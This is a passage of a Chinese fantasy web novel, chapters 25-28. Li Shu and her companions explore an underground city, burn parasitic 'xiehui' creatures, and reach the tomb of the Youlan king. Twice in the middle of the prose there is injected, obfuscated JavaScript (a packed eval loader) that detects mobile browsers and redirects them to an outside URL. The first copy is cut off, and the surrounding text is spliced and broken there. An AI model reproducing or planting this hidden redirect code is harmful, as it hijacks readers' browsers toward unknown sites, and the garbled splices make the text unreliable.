刹那间李恕瞳孔骤缩,紧紧盯住女子,哪怕眼底漫上针扎般的刺痛也不敢眨眼。 紫衣女子对她伸出手:“过来。” 李恕定在原地,动弹不得。 “怎么了,你不想见到阿娘吗?”紫衣女子没有责怪,只是笑着问她。 “我想……” 李恕抬脚向前,猛地被人扯了回来,放寒山面露关切:“你方才又看见什么了?” 思绪回笼,女子消失了。李恕怅然若失,原来又是她心底的幻象。“没什么。” 发现李恕面色不好,放寒山识趣地没追问,两人沉默地走路,只听轰的一声,身侧的石壁忽然破了个洞,钻出一颗灰溜溜的大脑袋。 25. 谎言 “咔滋!咔滋!”灰脑袋左右啃了几口,墙壁上的圆洞大了一圈,紧接着灰脑袋的身体也挤了进来。 李恕额角轻抽,好大一只……老鼠。 面前的老鼠像座小山,从头到脚灰扑扑的,一双绿豆眼滴溜溜直转,在它身后依次钻出几道人影。 “暗河。”“幻幻!” 李恕与放寒山各自望向来人,幻幻飞扑过来,放寒山被他扑得脚下趔趄,人却笑了起来:“你没事了?” “对啊,休息了半个时辰就好了。” “啧,你们……你们的体质真是令人羡慕。” 一起进来的还有三人,正是高、胖、瘦盗墓贼,高个子揉揉大老鼠的脑袋:“总算挖到人了,你看看,门牙都被磨短了一截。” 原来李恕跳下去后地板很快又合上了,暗河担心她的安危,得知遁地鼠不仅能够探寻墓穴入口,还能变大变小开挖洞穴,便向盗墓贼借用。 盗墓贼思前想后,与其拒绝后被暗河暴打一顿再答应,还不如一开始就答应,反正遁地鼠只听他的话,暗河想用遁地鼠就得保护他。 李恕问暗河::“紫竹峰的人呢?” “她们还留在原地等候药效过去。” “如此正好,你随我去取天书。” “你知道天书在哪了?” “只是猜测,你看这里像什么地方?” 暗河环顾四周,很快与李恕想到了一处:“是小狼说的新城吗?” “没错。”李恕打了个响指,果然暗河就应该待在她身边。 剩下的话不必再多说,暗河已然明白了李恕的意思,眼看着几人准备进城,高个子盗墓贼赶紧表示要跟着去。 李恕挑眉:“你们确定,里面或许会更危险。” 高个子心想不跟着李恕更危险,嘴上却道:“老二是我们的兄弟,我们说什么也不能丢下他,活要见人死要见尸!” 他们三人还没完全恢复体力,于是挨个骑到遁地鼠身上,一行人再次向着王宫进发。没走多时,本来好好的遁地鼠忽然掉头就跑,将三个盗墓贼甩掉两个,只剩高个子盗墓贼死命揪住它的皮毛大吼:“你干什么?停下!快停下!” 遁地鼠狂性大发,上蹿下跳,像是有什么东西在追它,又像是有什么东西拦在它面前。 李恕最先反应过来,提醒高个子:“捂住它的眼睛,地下城有幻象。” “什么?!”高个子盗墓贼一头雾水,但还是听了李恕的建议,费了老大力气骑到遁地鼠脖子上,用手捂住它的眼睛。 遁地鼠看不见幻象,渐渐平静下来,气喘吁吁地趴在地上。高个子盗墓贼被折腾出一身热汗,滑下来瘫坐在地:“他爹的,什么幻象能把遁地鼠吓成这样?” 李恕与暗河同时回答:“猫。” 高个子:“……” 没办法,不能再骑老鼠了,盗墓贼把它变小藏进怀里,三人相互搀扶着走路。放寒山不得不对众人强调:“不管你们看见什么,千万不要自乱阵脚,只要我没开口就说明你们看见的是幻象。” 盗墓贼连连点头,心有余悸,越走越挨近放寒山,队伍很快变得拥挤不堪,暗河见状默默退后些许留出反应空间。 “过来。”李恕伸手拉他,一碰才发现暗河的身体有些僵硬,凝眉问道:“你也看见幻象了?” “嗯。”暗河揉揉眉心,收拢思绪。方才后退的瞬间,他的眼前忽然出现一道白衣人影,两手捧住长剑,竟是要递给他的意思。 可是他没有剑啊。 放寒山凑过来替他分析:“幻象其实就是我们的记忆,你看见了什么,也许能帮你找回记忆。” 暗河微微避开视线:“我没看清。” “好吧,可惜了。” 队伍恢复平静,李恕撞了一下暗河的胳膊:“你没事吧?” “没事。” “你知道吗?”李恕指指自己的眼睛,“你根本就不会撒谎,想什么都写在眼睛里——刚才你心虚了。” 暗河下意识又想闪躲,闻言硬生生忍住:“我看见了一把剑。” 李恕眉眼弯弯:“不奇怪,你很擅长用剑,不过我不是要追问你看见了什么,你没事就好。” 暗河嗯了一声,低头藏住眼神,他还是没说实话。其实他在白衣人的衣服上看见了飞鸟纹,那是玄隐门的象征。 为什么他会认识玄隐门的人?难道李恕告诉他的身份是假的吗?如果身份是假的,那李恕说喜欢他也是假的吗? 说不清为什么,这个想法令暗河格外在意,同时他也很在意李恕舍命救放寒山的事情。 一方面他很钦佩李恕,为了救人敢将自己的性命置之度外;另一方面他又忍不住想问,舍命都要救的人,真的会是讨厌吗? 暗河心乱如麻,在谴责自己不该多想与追问一个答案之间来回拉扯,没过一会儿他又忍不住去看李恕。 身旁的人目视前方,侧脸轮廓姣好,可她目光正落在放寒山身上。胸口愈发堵塞,那个问题似乎已经不必问了。放寒山说的没错,李恕喜欢他。 暗河正这么想着,李恕又碰了碰他的肩膀:“你在偷看我吗?” “抱歉,我不是有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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高个子盗墓贼张了张嘴,默默把手里的腿骨丢了:“这到底是怎么回事?” 没人回答他的问题,头顶光影一暗,忽地扑来一个不明物体。 李恕反手一刀斩下,那物体摔在地上,又爬起来,直勾勾地盯着众人。 他的胸口开一道口子,然而流出的却不是血,而是黑色粘液。 盗墓贼瞳孔骤缩:“邪秽!” 26. 邪秽 邪秽,一个既好对付又难对付的东西。 说它好对付是因为邪秽怕火,遇之即化为灰烬。说它难对付是因为邪秽本为无形之物,却能寄生在人身上,侵蚀人的神志,直到彻底成为身体的主人。 “立刻服用内火丹。”放寒山取出几枚色泽鲜红的丹药,本想一人分一枚,然而李恕早有准备,第一时间把内火丹喂给了暗河。 众人对邪秽都不陌生,自打灵气枯竭,邪秽便应运而生。起初修士对其全无防备,也不知如何应对,许多人甚至是在救治感染者的时候被感染的。 后来终于有人发现邪秽怕火,只有用火将感染者烧成灰烬,寄生的邪秽才会一并消失。 很长一段时间,这意味着一旦被感染便只剩死路一条——直到内火丹被白羽观研制出来。 彼时白羽观掌门已经闭关,不想门内有一位名不见经传的弟子杨璞,根据邪秽怕火的特性研制出了内火丹,服之可为筋脉“镀”上一层火焰,使得邪秽无法寄生。 邪秽带来的人心惶惶终于被遏止,杨璞名声大噪,一时间被奉为白羽观最前途无量的弟子,没想到事情正是坏在这里。 原来杨璞还有一位识于微末的相好,名叫慕容诺。杨璞大放光彩之后,明里暗里想与他结交的修士不计其数,其中自然不乏女修。慕容诺生性善妒,自己才貌不如别人,便怀疑杨璞对她不忠,多次无理取闹,最后竟然杀了杨璞逃之夭夭。 白羽观痛失一名天才,门内长老震怒不止,重金悬赏慕容诺,可惜至今仍然没有她的下落。 内火丹下肚,高个子盗墓贼的四肢百骸很快热了起来,准备给邪秽一点儿颜色看看,被胖子同伴拉住了:“老大,你看……” 墙头上,悄无声息地趴着一颗又一颗脑袋,漆黑的眼睛盯着场中众人,竟然全是邪秽! 高个子盗墓贼默默挪到后面,乖乖嘞,这是捅了邪秽窝了。 “走!”意识到情况不对,李恕当机立断退出院子,邪秽穷追不舍,众人身上或多或少都带着火符,这会儿谁也不藏着掖着,噼里啪啦全丢了出来,能烧死一个是一个。 高个子盗墓贼不知什么时候又把腿骨捡了回来,当作防身武器:“我说城里怎么没人,原来都变成了这种东西。啊!你敢咬我,老子把你脑袋打开花!” 啪的一声,高个子盗墓贼使出吃奶的劲儿,直接把邪秽的脑袋打得凹了进去。 “哈哈活该!”然而还没乐完,邪秽就在他面前站了起来,眼球滚动几轮,凹陷的脑袋吹气一般恢复原状。 高个子笑不出来了,破口大骂:“早说了我最讨厌这东西,都怪那些该死的魔族!” 暗河问道:“何以见得是魔族做的?” “还用问吗,谁不知道邪秽不会感染魔族,反而是魔族出现的地方才有邪秽。” 一开始大家并没有往魔族身上想,所以才取名叫邪秽,后来习惯了也就一直怎么叫了,其实应该叫魔秽才对。 幻幻小声嘀咕:“我们魔界没有这种东西啊……”不过盗墓贼有句话说的没错,邪秽确实不会感染魔族,幻幻吃内火丹只是不想暴露身份,毕竟李恕也吃了。 高个子还在骂:“我受不了了,谁能想个办法解决这些腌臜玩意儿?” 李恕讽道:“你去引开它们不就好了。” 高个子被噎了一下:“凭什么我去,你怎么不去?” “对,我正要去。”李恕抓住暗河的手,竟是真的要去。放寒山赶紧拦住他们:“等等,你们要把邪秽引到哪去?引过去后怎么解决?” 说话间放寒山丢出一张火符,反手一扇吹出万千星火打在邪秽身上,烧得它们哇哇乱叫。可惜火不够大,邪秽身上虽然留下了自愈不了的伤疤,却还是能跑能跳。 “很好,就用你这个办法。”地下城宫殿颇多,殿中不乏轻纱帷幔,这些都是易燃物,只要让放寒山像方才那样点一把火,宫殿马上就能变成熔炉。 “这样你们会很危险。” “没关系,我相信放统领的本事。”不容多言,李恕放慢速度落在后方吊着邪秽,等到放寒山等人拉开距离,这才飞身进了一座宫殿。 殿中装潢精致,桌上甚至还有美酒,李恕与暗河交换了一个眼神,借着打斗将坛中的酒泼的到处都是,又将各个窗户堵死,只留一扇当作出口。 邪秽争先恐后涌进殿中,密密麻麻潮水一般,李恕退到窗边,问暗河:“准备好了吗?” “嗯!” 收到答复,李恕扬手掷出火符,那符被她灌了灵力,飞到空中时炸得四分五裂,与此同时一道狂风刮了进来,殿内顿时火花四起,落到沾了酒精的帷幔上瞬间变成火柱。 来不及躲避的邪秽被烧得哇哇嚎叫,带着火焰四处乱窜,反而把火势烧得更大了。 李恕翻出窗外,御冰堵住窗口,“成了。”事情比她想的顺利。 然而就在李恕转身背对窗户的瞬间,一只邪秽猛地冲破冰墙,五指成爪抓向她的后颈。 “小心!”暗河的身体比脑子反应更快,一把拉住李恕带到怀中,邪秽的手落在他的肩头,留下几道深深的抓痕。 李恕眉目一凛,反手将火符拍到邪秽头上,腾起的火焰瞬间吞噬了它。再看暗河的伤口,鲜血已经染红了他半条手臂。 “抱歉。” 暗河压住伤口:“没关系,你给我吃了内火丹,这点皮外伤不要紧的。” 李恕想为暗河处理伤口,忽然听到大殿中传来轻微的爆裂声,立刻揽住暗河掠出数丈。热浪伴着巨响炸开,即便两人已经飞出去很远,仍旧被热浪灼得浑身发烫。暗河咬咬牙,用力把李恕压进怀里。 等到爆炸平息下来,方才那座宫殿已经完全塌了,来时的路也被堵死了。 暗河在混乱中摸索,手指不小心碰到李恕的脸,又赶紧收了回来:“你没受伤吧?” 李恕摆了摆手,浓厚的烟尘呛得人睁不开眼,此地不能久留:“继续走吧,也许能在前面碰见放寒山。” 听她顾不上自己的安危,第一件事就是挂念放寒山,暗河心中不是滋味,她就那么喜欢他吗?即便如此,暗河还是强行扯出一抹笑意,安慰李恕道:“你别担心,我们、你们肯定能会合的。” 没走多久,宫殿渐渐少了,取而代之的是一条长长的甬道,两侧墙上绘着壁画。这些壁画不知是新是旧,总之看起来色泽鲜艳,栩栩如生,即便没有亲临绘制现场,也能感受到画师对画中人的虔诚与崇拜。 李恕粗略扫过,壁画中最显眼的是个男人,身材高大,哪怕在幽兰古国人中间也要再高出一个头,古铜色的肌肉雄壮有力,手执利剑犹如战神下凡,想来他便是幽兰国王了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15187691|163956||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 壁画很长,记录了幽兰国王的生平,李恕与暗河从头开始看起。 最初的幽兰古国实力并不强盛,常常受到外敌侵扰,好在君民一心足以自保。幽兰国王诞生时皇宫的金顶大放异彩,被视为天降祥瑞,举国上下一片欢腾。 幽兰国王不负民众期待,自幼便显示出了与众不同,他生下来不哭不闹,五个月便会走路,七个月舌灿莲花,之后各项发展全都远超同龄孩子,尤其对习武表现出了异常热烈的兴趣,十三岁就开始带兵打仗。 战场上幽兰国王成长更加迅速,无论什么兵法他一看就懂,对敌总能出其不意,攻其不备,参战以来从未有过一次败绩。 明着打不过他,也有不少敌人想耍阴招,比如刺杀、□□等等,然而天命好像就站在幽兰国王身后,即便遇到危险他也总能逢凶化吉,平安脱身。 在幽兰国王十七岁那年,幽兰古国终于在他的带领下成了此地最强大的国家,百姓再也不用担心外敌侵犯。 但是,仗还是要打的。因为地理原因,幽兰古国的物产并不丰富,周边各国一直打来打去就是为了掠夺物资。如今幽兰古国虽然成了强国,但是如果仅靠自己根本没有办法维持国力,所以只能掠夺他人,以战养战。 铁骑所过之处战火熊熊燃烧,被攻打的国家要么俯首称臣年年朝贡,要么被消灭。 幽兰国王渐渐成了死神的代名词,国破家亡的百姓狠狠诅咒他,恨不得生啖他的血肉。 幽兰国王并不将这些失败者的叫骂放在心上,直到国内也有人看不下去他的行为,希望他能停止战争。 幽兰国王没有生气,只是问了一个问题:“不打仗我们的百姓怎么生活?” 那人给不出办法,只好道:“难道您看不见那些尸体、听不到那些诅咒吗?您的手上沾满了鲜血,死后会下地狱的。” 幽兰国王回答:“为了我的国家,我愿意下地狱。” 没有人能改变幽兰国王的决定,国内百姓对他又敬又怕,可是没人有立场指责他。 哪里有压迫哪里就有反抗,一个小国站了出来,公然宣布要不惜一切代价抗争到底。幽兰国王得知之后,再一次带着他的铁骑出发了,就像之前无数次的征战那样。 这一次他同样没有失败,也不可能失败,幽兰铁骑踏平了小国,反抗他的人变成了他的脚下尘泥。 壁画到这里就结束了,显然后面还有事情没讲,暗河若有所思:“从壁画内容来看,幽兰国王虽然嗜杀,但非贪财好色之人,是什么让他性情大变?” 李恕盯着最后一幅壁画,幽兰国王神情肃穆,眉宇之间没有一丝喜色。为什么,他不是赢了战争吗? 前面还有路,答案也许就在就在某个地方等着他们。 顶着越来越黯淡的夜明珠光辉继续走,暗河肩上的伤已经不流血了,只是从方才起他的身体就起了一股无法忽视的变化。 李恕注意到了他不对劲:“你的伤口还在疼吗?” “不疼,你包扎的很好。”暗河摇头,下意识摸了摸肩膀,令他不适的不是疼痛,而是他的身体正在发烫。 那是一股从内烧起来的灼热,仿佛长了腿一样四处乱窜,直烧得他呼吸急促,头脑昏沉。 李恕没再追问,默默看着暗河,直到他被耗尽最后一丝神志,然后伸出手,接住陷入昏迷的他。 27. 灼热 大殿门窗紧闭,针落可闻,透过影影绰绰的帷幔依稀可见床上躺着一人。是暗河。他的额头起了一层薄汗,雪白的面颊上晕开潮红,似乎正处在难受之中。 李恕站在床边,神色平静至极。 “你不怕他死吗?”黑蛇贴到李恕耳边,颇有一副看热闹不嫌事大的架势。 李恕没有搭理黑蛇,目光始终凝在暗河身上。黑蛇嘻嘻笑了两声:“我真替他感到伤心,你给他吃假的内火丹,处心积虑骗他落单,他竟然一点儿都没怀疑你。” 对,这都是李恕安排好的。即使没看见剩下的壁画,她也能猜到幽兰古国因何覆灭——邪秽。 最后那场战争中,幽兰国王被邪秽寄生了,只是他并非生性怯懦之人,恰恰相反,他的神志异常顽强。在与邪秽抗衡的过程中,幽兰国王渐渐被激发出了贪念、恶念、欲念,他开始横征暴敛,酒池肉林,夜夜笙歌。 不知其中缘故的百姓只觉得国王性情大变,他再也不是他们心目中的英雄。而当幽兰国王不顾劝阻,执意劳民伤财修建地下城后,百姓终于下定决心推翻他的统治。 计划成功了,幽兰国王“死”了,同时计划也失败了,被邪秽寄生的幽兰国王死而复生,彻底丧失神志,亲手屠杀了背叛他的百姓。 李恕想起与暗河的初遇,不对,应该叫他任流白。那时任流白被邪秽寄生,昏迷不醒,李恕本想一把火把他烧了,奇怪的是他体内的邪秽莫名消失了。 李恕从没遇见这种情况,所以她很想知道任流白究竟有何特别之处。面对失去记忆的任流白,李恕毫不费力编了一个故事,为他取名暗河。 如果计划顺利,李恕会把任流白带回魔界,交给罗刹研究。可惜计划赶不上变化,放寒山以及幻象的出现,让任流白对自己的身份起了怀疑,李恕只好提前动手。 她的方法很简单,再让任流白被邪秽寄生一次,观察他的反应。至于任流白会不会死,那不在她的考虑范围之内。 黑蛇自言自语半天,李恕始终没有给它回复,黑蛇叹了口气,故作伤心:“你就这么希望摆脱我吗?明明我们那么般配。你忘了吗,我可是你阿娘送给你的礼……呃!” 李恕扼住黑蛇脖颈,眼底隐隐透出绿色:“你再敢提我阿娘试试?” 黑蛇被捏得双眼凸出,化作粘液流出李恕掌心,气急败坏道:“你疯了吗?弄死我对你有什么好处!不过你也杀不了我,除非你和我同归于尽哈哈哈哈哈……” “我早晚会杀了你。”李恕压下黑蛇,解开任流白的衣服,他肩上的抓痕消失了,这表明他已经因为邪秽寄生有了自愈能力。 李恕又按住任流白的脉搏,他的灵力乱如急雨,邪秽则像被雨敲打的芭蕉,果然还是像上次那样,邪秽没法在任流白体内存活。 为什么?李恕暗自思索,手指顺着任流白的小臂游走,细细探查,只觉得他的灵力如同汪洋大海,乱象之下仍旧深不见底。 到了胸前,李恕摊开手掌按住任流白的心口。他的心跳快而有力,一下一下撞在她的掌心,带来些许酥麻。 “动手啊,怎么又舍不得了?”黑蛇不长记性,又跑出来撩拨。李恕置若罔闻,手掌下移到任流白腹部,灌了一缕魔气进入他体内。 黑蛇哼道:“你可真是,非要跟我唱反调才舒服。” 魔气本就比灵气霸道,更何况是来自李恕,然而那缕魔气一进入任流白体内便如同闯入风暴的小舟,瞬间被滔天巨浪吞噬殆尽,没留下一丝痕迹。 李恕略感讶异,她和玄隐门弟子交过手,虽然他们剑术了得,但是这么强横的灵力也实在少见,难道任流白修过特殊功法? 不对,用强横来形容并不合适,任流白的灵力就像他这个人一样没有任何攻击性,只是太过深厚导致魔气撼动不了分毫。 李恕正想着,手腕蓦地一紧,这才发现在她恍神期间任流白醒了过来,用力抓住她的手腕。 “暗河?”任流白的掌心烫得吓人,连带着他的视线都好像有了温度,李恕犹豫片刻,还是决定用“暗河”这个名字来称呼他。 任流白置若罔闻,也是,他本来就不叫暗河,又怎么会有反应。李恕右手已被禁锢,遂把魔气凝在左手,她看出来了任流白不对劲,但不对劲到什么程度却是不知,往日那双静如平湖眸子此刻正在沸腾。 李恕眼底划过杀意,如果任流白恢复记忆对她动手,她就...... 任流白格外敏锐,李恕才有想法他便察觉到了,左手用力将人拉进怀里,右手顺势锁住李恕的腰。 唇上蓦地一凉,李恕怔住了,任流白没对她动手,而是……亲了她?他的脸上覆着面具,因此两人并不算真的亲吻,那些交错的犬牙长而锋利,硌得李恕嘴唇生疼。 李恕额角跳动,离谱之余又觉得好笑,还好她给任流白戴了面具,不然......话没说完,面具消失了,取而代之的是任流白滚烫的嘴唇。原来是面具感受到主人的气息,乖顺地退了下去。 李恕:“......” 有的时候,灵器太认主也不是一件好事。 两人真真切切亲在一起,李恕的嘴唇很快变得濡湿。 此情此景若是换了别人,李恕早就一掌把他的脑袋打开花了,偏偏这人是任流白,又偏偏他现在神志不清,李恕一时竟拿他没有办法。 黑蛇原本只想看热闹,没想到看到这样一出好戏,笑得快要背过气去:“这叫什么?这叫搬起石头砸自己的脚哈哈哈哈哈!” “你找死吗?”李恕对黑蛇的忍耐到达极限,强行偏头避开任流白的吻,周身凝出冰霜,使得殿中温度都下降了几分。 两人的嘴唇因此分开片刻,任流白低喘一声,再次追了过去。他很热,热得难受,热得发疯,身下的人却很冷,让他忍不住一再靠近,贪婪地汲取她的冷来灭火。 李恕两片饱满的唇被任流白衔在口中,反复吮吸,仿佛那是世间最甜蜜的美味。可是他的技术一点儿也不好,动作全无章法,牙齿磨得李恕的嘴又热又麻。 李恕很想换个角度,任流白却霸道起来,扣住她的后颈不许她躲避,也不许两人分开一丝距离。 胸腔中的空气渐渐被榨干,李恕反而平静了下来。任流白发疯总比发现真相好,她很怀疑任流白修炼过特殊功法,等他醒了再想办法套他的话。至于现在不过是被亲了而已,没什么大不了…… “唔!”李恕痛嘶一声,任流白要亲就亲,咬她做什么? “笑死我了,你也有今天!”黑蛇的笑声不停折磨李恕耳膜。 可惜始作俑者任流白并未意识到自己做了什么,他只觉得身下的人被他咬过之后冷意更甚,让他更舒服了。 任流白的唇齿愈发用力,磨得李恕压下去的脾气又爬了上来。岂有此理,真当她会一忍再忍吗?方才那点儿安抚自己的想法被抛到脑后,李恕腰身一拧,反客为主把任流白压在身下。 “谁允许你咬我了?你得付出代价知道吗?”李恕扼住任流白的脖颈,他唇上狠狠咬了一口。 黑蛇:“……”这样对吗? 窒息的感觉冲上颅顶,任流白喉结滚动,眼中水汽浓了几分。李恕轻笑出声,胸中涌起一股征服欲,这样才对,任流白,任仙师,玄隐门最惊才绝艳的剑修,就该被她压在身下玩弄。 李恕坏心大起,再次亲了下去。任流白的技术很差,回应却很热烈,可惜李恕的吻像流连花丛的蝴蝶,浅尝辄止,一触即分,就是不肯落在实处。 任流白的喉咙中逸出模糊不清的声音,李恕勾起唇角:“你还认得出我?” “热……” “不是这个。”李恕摩挲他的唇角,循循善诱,“我叫什么?答对了有奖励。” “李……恕……”任流白深深喘息,一个字一个字地念她的名字。 “真乖。”李恕终于认真亲他,有了引导,任流白很快就学会了怎么更进一步,躁动的灵力疯狂涌入李恕体内。两人一冷一热的体温相互交融,彼此压制,像是要把对方吞吃入腹。 厮磨良久,李恕伸手再探任流白的脉搏,他的灵力已经恢复平静,那团邪秽则彻底没了踪迹。 李恕起身揉揉眉心,她的嘴唇红得过头,任流白也没好到哪去,一看就被蹂躏得不轻。李恕好人做到底,又把那不靠谱的灵器化作面具覆在他的脸上,给他穿好了衣服。 半个时辰后,任流白悠悠转醒,入目是一片轻软的绯色帐顶。 “你醒啦。”李恕坐在一旁,单手托腮。 任流白愣愣看她,好半晌没说话。李恕歪了歪头:“难道你又失忆了?那你还记不记得自己叫什么名字?” “记得……我叫暗河。” 李恕挑了挑眉,暗河坐起身来,他沉默并非因为脑子一片空白,而是有太多乱七八糟的画面来回穿梭,可是每个画面他都没有头绪。 “我怎么了?” “你发烧了,很严重的高烧。” 发烧?暗河想起来了,他在昏迷前确实浑身发热。 “抱歉,我给你添麻烦了。” “不麻烦,来把丹药吃了,可以治你的病。”李恕顺手把真的内火丹递到暗河嘴边,暗河不作他想,张口吞了下去,嘴唇碰到李恕指尖泛起一阵酥麻。 刹那间暗河心头巨震,脑海中纷乱的碎片蓦地定格了一片,竟是他在与李恕拥吻。 “你怎么了?”李恕伸手在暗河眼前晃了晃。 “没事!没事。”暗河矢口否认,极力掩饰心虚,可是那种触感太过真实,他甚至能想象出李恕的嘴唇有多柔软。 “我……”暗河欲言又止,李恕眨眨眼睛示意他继续说,暗河小心问道:“我昨晚一直在昏睡吗?”< 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爆炸发生后,放寒山试了好几次都没能从废墟中穿过去,不得已换了条路,着实费了一番功夫。当然他是不会告诉李恕这些的,只会风轻云淡嗯一声,维持他在李恕心中深不可测的形象。 互相说了情况,这才发现双方刚好看见了壁画的前后部分。打完那场仗后,幽兰国王回来第一件事就是急召御医,可惜御医从没接触过邪秽,连听都没听说过,自然也查不出幽兰国王的病因,只能给他开一些安神静气的药。 幽兰国王试了许多办法,始终无法将邪秽除去,日复一日的煎熬中,他的神志时清醒时昏沉,昏沉时下了许多违背本心的命令,清醒时又追悔莫及。 修建地下城是幽兰国王清醒时的命令,他知道自己被邪秽控制是早晚的事,所以他要把自己关起来,地下城就是他的地牢。 然而事情完全超出了幽兰国王的预料,不堪忍受的百姓和大臣联合起来在他的酒里下了毒药,趁他毒发之时割下他的头颅,将他封入棺中。而正当大家以为一切都结束了,被邪秽彻底控制的幽兰国王破棺而出,成了世人眼中死而复生的妖怪,殊不知,他早就不是幽兰国王了。 放寒山道:“我猜顺着这条路继续往前就能找到幽兰国王,怎么样,大家走不走?” 来都来了,怎么可能不走?放寒山道了声好,自觉承担带路的使命,从怀里摸出一面明亮的镜子。 高个子盗墓贼睁大眼睛:“难道这就是传说中的照妖镜?” “不是,只是会发光而已。” “那它有什么用?” 放寒山微微一笑:“照亮我的美。” 高个子盗墓贼:“……” 放寒山欣赏完自己的脸,把镜面对准脚下照明,边走边和李恕搭话:“大殿里发生了什么,怎么会爆炸了?” “不知道,意外吧。” “那你们昨晚被什么事情耽搁了吗,按理说你们应该比我们快很多才对。” 李恕一脸真诚:“因为在等你们。” “在等你们”还是“在等你”?放寒山只思考了一瞬,便确定李恕的意思是后者。话说自从被他发现心意,李恕对他就越来越坦诚了。放寒山莫名有些开心,准备回给李恕一个微笑,谁知视线偏下了些,正好落在李恕唇上。 “你的嘴怎么了?”放寒山把镜子凑过去,清楚地看见李恕的嘴唇红肿,颜色颇艳,像是那天拿来骗他的红浆果。 “没怎么。”李恕懒得解释。 放寒山不好继续追问,只是忍不住又看了两眼,脑海中蹦出一个离谱的念头:她的嘴唇好像被谁亲过。 被谁亲过?谁?最可疑的对象暗河正在神游天外,这可不像他的作风。 放寒山摸摸下巴,要不找个机会问问暗河,以他的性格肯定不会撒谎。嗯,就这样。 一行人各怀心思,队伍越发沉默,行进速度反而变快了,没用多少时间就到了甬道尽头。 每次碰见门都是李恕在最前面,这次也不例外。推开大门,宫殿内明珠黯淡,放眼望去没有任何摆设,唯有正中摆着一口敞开的棺材,里面躺着一具魁梧男尸,正是壁画中的幽兰国王。 盗墓贼大失所望,这里竟然是一路走来最寒酸的地方,根本没有传说中的金山银山。 众人围着棺材站了一圈。 放寒山道:“他的身材真不错。” 幻幻道:“他会突然跳起来打我们吗?” 高个子盗墓贼道:“他的尸体值钱吗?” 暗河道:“他的手下面有东西。” 那双手骨节分明,青筋凸起,蕴藏着不容小觑的力量,不仔细看,很难看见他的指缝间露出了一角书页。 李恕伸手欲取,忽然射来一道灵力打向她的手腕。 “别碰天书。” 28. 幽兰 付剑心站在门口,冷眼睨着李恕,又重复了一遍:“别碰天书。” 地上已经无路可走,付剑心考虑过后决定顺着鼠道下来,这才一路寻到此处。她身后紫竹峰弟子个个神情戒备,看样子软筋散已经完全解了。 李恕似笑非笑:“我偏要碰,你能如何?” 真意手中捏住一道雷诀:“那就别怪我们不客气!” “仙师且慢。”放寒山出来安抚剑拔弩张的两方,“那是不是天书还未可知,有什么话我们不能好好说?” “没什么可说的,是不是天书我们紫竹峰都要定了。” “好吧,不过我想说句公道话,李仙师不久前才救了你们,你们现在这般可不是对救命恩人该有的态度。” 真意有一瞬间的理亏,随即强硬道:“谁知道她究竟打的什么算盘,我可不信一个魔族会有那么好心。” 她知道李恕的身份?放寒山不动声色:“仙师何出此言,君子论迹不论心,她救了你们难道不是事实?” “我紫竹峰绝非分恩将仇报之辈,不过对于魔族,我们向来只有一个字:杀。” 真意扬手丢出雷诀,李恕不闪不避,那雷诀却没沾到她的衣服便消散了。 “这就是你的本事吗?” 真意涨红了脸,还想再动手。李恕如此傲慢,分明没把紫竹峰放在眼里,今天必须给她点儿颜色看看。 “退下。”付剑心淡声吐出二字,犹如定身咒般拦住真意。 “师姐!她可是魔族,你忘了师尊说过……” “我没忘。”付剑心拔出长剑,指向李恕,“所有的魔族都该死。” 李恕饶有兴味,付剑心亲自动手,正好让她试试紫竹峰的实力。 付剑心先礼后兵,问道:“你的武器呢?” 李恕勾勾指尖,挑衅意味十足:“没有,来吧。” 话音未落,付剑心身形已至,片刻之间两人便交换了十余招。盗墓贼见势不妙第一时间退至暗河身后,只觉得两人打得眼花缭乱,惊道:“不愧是紫竹峰!” 放寒山颇有同感,若非知道付剑心出自紫竹峰,他都要怀疑付剑心其实是玄隐门的人了。不过正好,可以趁此机会探探暗河的话。 “暗河兄觉得她的剑术如何?” 暗河正在全神贯注观战,闻言答道:“剑风凌厉,势如破竹,不容小觑。” “李恕呢?” “她不用剑,我不清楚她的剑术。” “我说的是她的招式。” “干净利落,游刃有余。” “我也觉得。你们昨晚亲了?” “嗯……什么?” 两人一问一答,放寒山突然蹦出这么一句,暗河被问得发愣,可是一听见“亲”字,他的脑海中便不受控制地浮现出那个画面,热意瞬间从脖颈烧到脸颊。 “你这是什么反应,你们真亲了?” 暗河调整呼吸,摇了摇头。 “没有?”放寒山难掩雀跃,他自己都没意识到,暗河却发现了,而后心头便闷闷的。 凭什么,明明是他先在李恕身边的,放寒山是后来的,他……凭什么。 暗河第一次觉得自己原来那么心胸狭隘,一边暗自唾弃自己,一边强硬回答:“不告诉你。” 放寒山:“?” 放寒山想不到他会在暗河这里碰钉子,好在他不是那种面皮薄的人,若无其事地换了个问题:“你觉得谁会赢?” “李恕。” “为什么?”放寒山也看好李恕,说不上来为什么,可能是她的神色太过从容。 “她的招式更完美。” 每一次落点都精准无比,没有任何多余动作,即便赤手空拳,也能四两拨千斤荡开付剑心的剑势。 当然,她也有转守为攻的时候。比如现在,李恕双手一合,挟住剑锋欺身而上,长剑顿时弯出可怕的弧度,仿佛下一刻就会被拦腰折断。 “沉璧教你的只有这些吗?那你还差得远了。”说罢,李恕松手,长剑回弹,森森寒意之中竟然还夹杂着闪电,付剑心的右臂顿时一阵刺痛。 “师姐?”真意大惊失色,难以置信地问李恕,“你怎么会我们紫竹峰的雷诀?” 李恕不以为意:“又不是什么绝世神功,很难学吗?” 付剑心要比真意冷静得多,收了长剑,并起两指竖在眼前,刹那间她的右手缠上了一条锁链。 伏魔诀,这是紫竹峰为了绞杀魔族特意研究出的术法,用来对付李恕再合适不过。 